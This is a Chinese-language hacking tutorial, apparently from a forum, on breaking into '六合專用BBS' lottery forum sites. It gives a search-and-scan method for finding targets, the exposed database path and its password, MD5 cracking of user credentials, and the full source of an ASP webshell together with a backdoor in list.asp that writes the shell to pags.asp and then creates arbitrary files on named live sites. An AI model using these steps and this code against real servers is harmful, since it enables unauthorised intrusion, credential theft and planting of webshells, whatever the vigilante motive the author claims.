先在 baidu 搜 “六合專(zhuān)用BBS v1.0”當(dāng)然你搜 v2.0 、v3.0 都可以!“找到相關(guān)網(wǎng)頁(yè)約23,000篇,用時(shí)0.017秒”我們看一下非常多的,隨便進(jìn)一個(gè)吧。
http://www.ky8888.com/bbs/list.asp
找到Domain2.2.exe,的 SearchPage.txt,
在里面加查找頁(yè) /fdnews.asp /bbs/fdnews.asp,好了現(xiàn)在我們來(lái)掃掃看!哇,好多啊,這個(gè)就是數(shù)據(jù)庫(kù)了,我們用網(wǎng)際快車(chē) 把他下下來(lái),昏 ,打開(kāi)要密碼,就密碼這個(gè)東西啦: newbbs.cn88 ,現(xiàn)在 帳號(hào)、密碼,就盡收眼底了,嘿嘿!~~現(xiàn)在把 md5 加密的東西放 MD5Crack 2.3 去跑吧,看你運(yùn)氣咯!~
不過(guò)我們今天要的不是它的密碼,而是webshell。大家跟我來(lái),馬上會(huì)有驚人的發(fā)現(xiàn)。打開(kāi)數(shù)據(jù)庫(kù)的zl表,找到idto 的字段,怎么了發(fā)現(xiàn)什么了嗎?這個(gè)好象是一個(gè)網(wǎng)頁(yè)哦,嘿嘿!~~
代碼如下:
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body bgcolor="#FFFFFF">
<%
Function GetPP
dim s
s=Request.ServerVariables("path_translated")
GetPP=left(s,instrrev(s,"\",len(s)))
End function
MODE=Request("MODE")
sPP=Request("PP")
if sPP="" then sPP=GetPP
if right(sPP,1)<>"\" then sPP=sPP&"\"
Response.Write "<b>Index of "&sPP& "</b>"
%>
<%fname=request("fname")
if fname<>"" then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if request("save")="" then
Set objCountFile = objFSO.OpenTextFile(fname,1,True)
If Not objCountFile.AtEndOfStream Then fdata = objCountFile.ReadAll
else
fdata=request("fdata")
Set objCountFile=objFSO.CreateTextFile(fname,True)
objCountFile.Write fdata
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
end if
%>
<form method=POST>
<table border=0 cellspacing=0 bgcolor=#000000>
<tr>
<td><table border=0 cellpadding=10 cellspacing=0 bgcolor=#FFFFFF>
<tr>
<td><table bordercolor=#0080FF bgcolor=#FFFFD0 border=1>
<tr>
<td bgcolor="#0080FF"><font color="#FFFFFF">change:<%=fname%></font></td>
<tr>
<td><input type="submit" value="ok" name="save"><input type="reset" value="reset"><br>
<textarea rows="22" name="fdata" cols="100"><%=fdata%></textarea></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>
再認(rèn)真看看,其實(shí)這就是一個(gè)webshell,所有的六合彩專(zhuān)用論壇的數(shù)據(jù)庫(kù)里面都有。它出生的時(shí)間可能比海洋頂端2003 還要早,是asp木馬界的鼻祖了。
既然數(shù)據(jù)庫(kù)的文件名是asp的后綴,而里面又自帶一個(gè)asp木馬,我們來(lái)試試直接打開(kāi)這個(gè)數(shù)據(jù)庫(kù)地址,
http://www.ky8888.com/bbs/fdnews.asp昏,可以看出木馬里面的asp 代碼并沒(méi)有執(zhí)行,也就是說(shuō)我們拿了一只死馬。
這就是我12月25號(hào)的號(hào)的發(fā)現(xiàn),拿到這個(gè)之后就和兄弟 ☆罹天燼☆ 討論過(guò)(czy也給予了幫助),開(kāi)始認(rèn)為只要拿到網(wǎng)站在服務(wù)器上的絕對(duì)路徑就可以在本地提交,寫(xiě)入我們自己的木馬,但是實(shí)驗(yàn)卻一直沒(méi)有成功。
雖然我手里有一個(gè)這樣的論壇,但是有幾個(gè)重要的頁(yè)面丟失了,一時(shí)也看不出一個(gè)所以然來(lái),這樣一拖就是十幾天,
前天我再把這個(gè)論壇的代碼拿出來(lái)看,在list.asp 里面發(fā)現(xiàn)一段重要的東西.
<%
if len(page)>6 then
if md5(md5(page))="8f9fc56c3d174202" then
dim fname
fname=""&sPP&"pags.asp"
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(fname,True)
objCountFile.Write ""& idto &""
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write "SORRY <br>"
response.write "ID?????"
response.end
end if%>
注意到了嗎?""& idto &"" 這里的idto 不就是數(shù)據(jù)庫(kù)里面放asp木馬的字段嗎?嘿嘿,那么上面的pags.asp,就應(yīng)該是寫(xiě)入的文件名咯?我們來(lái)試試看,到底是不是這樣的!
提交:http://www.ky8888.com/bbs/pags.asp
看到?jīng)]有這個(gè)古老的asp木馬終于顯身了,首先它可以看到網(wǎng)站在服務(wù)器上的絕對(duì)路徑,第二還可以寫(xiě)入文件。有人看到這個(gè)木馬很郁悶,因?yàn)樗緵](méi)有寫(xiě)入文件的路徑的設(shè)置表單,是不是我們提交的數(shù)據(jù)庫(kù),都進(jìn)了數(shù)據(jù)庫(kù)了呢?
來(lái)看看原代碼,這一句 Set objCountFile = objFSO.OpenTextFile(fname,1,True)
看這里是寫(xiě)入了文件fname, 而不是數(shù)據(jù)庫(kù),我們先要請(qǐng)求文件fname 寫(xiě)入的路徑,在ie 提交:http://www.ky8888.com/bbs/pags.asp?fname=D:\ky8888\bbs\haotian.asp再填內(nèi)容 ,嘿嘿· ok 了 !,這樣D:\ky8888\bbs\haotian.asp 就是我們新建的文件了。
因?yàn)檫@個(gè)網(wǎng)站空間不支持fso,所以我直接把數(shù)據(jù)庫(kù)里面的木馬復(fù)制到朋友的asp空間去演示,看是不是寫(xiě)入文件成功了,嘿嘿!~~http://lvhuana.somee.com/haotian.asp?id=1
這樣簡(jiǎn)單就拿到了webshell,不過(guò)我試了另外幾個(gè)六合彩網(wǎng)站卻沒(méi)有發(fā)現(xiàn)這個(gè)pags.asp,看來(lái)這個(gè)里面還有東西要挖一挖。可能要等到拿了完整的 六合專(zhuān)用BBS 的代碼之后問(wèn)題就都解決了。
本文只是起到拋磚引玉的作用,還是那句話期望著大家一起走到打擊六合彩網(wǎng)站的道路上來(lái)!消減它們,國(guó)家的害蟲(chóng)……
我在寫(xiě)本文的同時(shí),也有很多人和我說(shuō),現(xiàn)在地下足彩也很泛濫,所以我專(zhuān)門(mén)聯(lián)系了一位國(guó)內(nèi)的黑足彩
高手,他將在近期出一篇關(guān)于消減足彩網(wǎng)站的文章。


